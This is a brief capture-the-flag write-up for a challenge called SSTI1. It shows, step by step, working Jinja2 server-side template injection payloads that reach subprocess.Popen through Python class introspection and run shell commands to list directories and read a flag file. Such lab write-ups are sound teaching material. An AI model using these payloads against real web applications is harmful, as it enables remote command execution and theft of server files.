SSTI1¶
Server Side Template Injection
Identify template engine by payload {{7*'7'}}
\
It's Jinja2
{{ ''.__class__.__mro__[1].__subclasses__() }}
-> lists all subclasses, which has <class 'subprocess.Popen'>
at index 356 \
{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls /', shell=True, stdout=-1).communicate() }}
-> lists contents of root directory; challenge
looks interesting \
{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls /challenge/', shell=True, stdout=-1).communicate() }}
-> lists contents of directory of the web app; flag
spotted! \
{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat /challenge/flag', shell=True, stdout=-1).communicate() }}
-> done!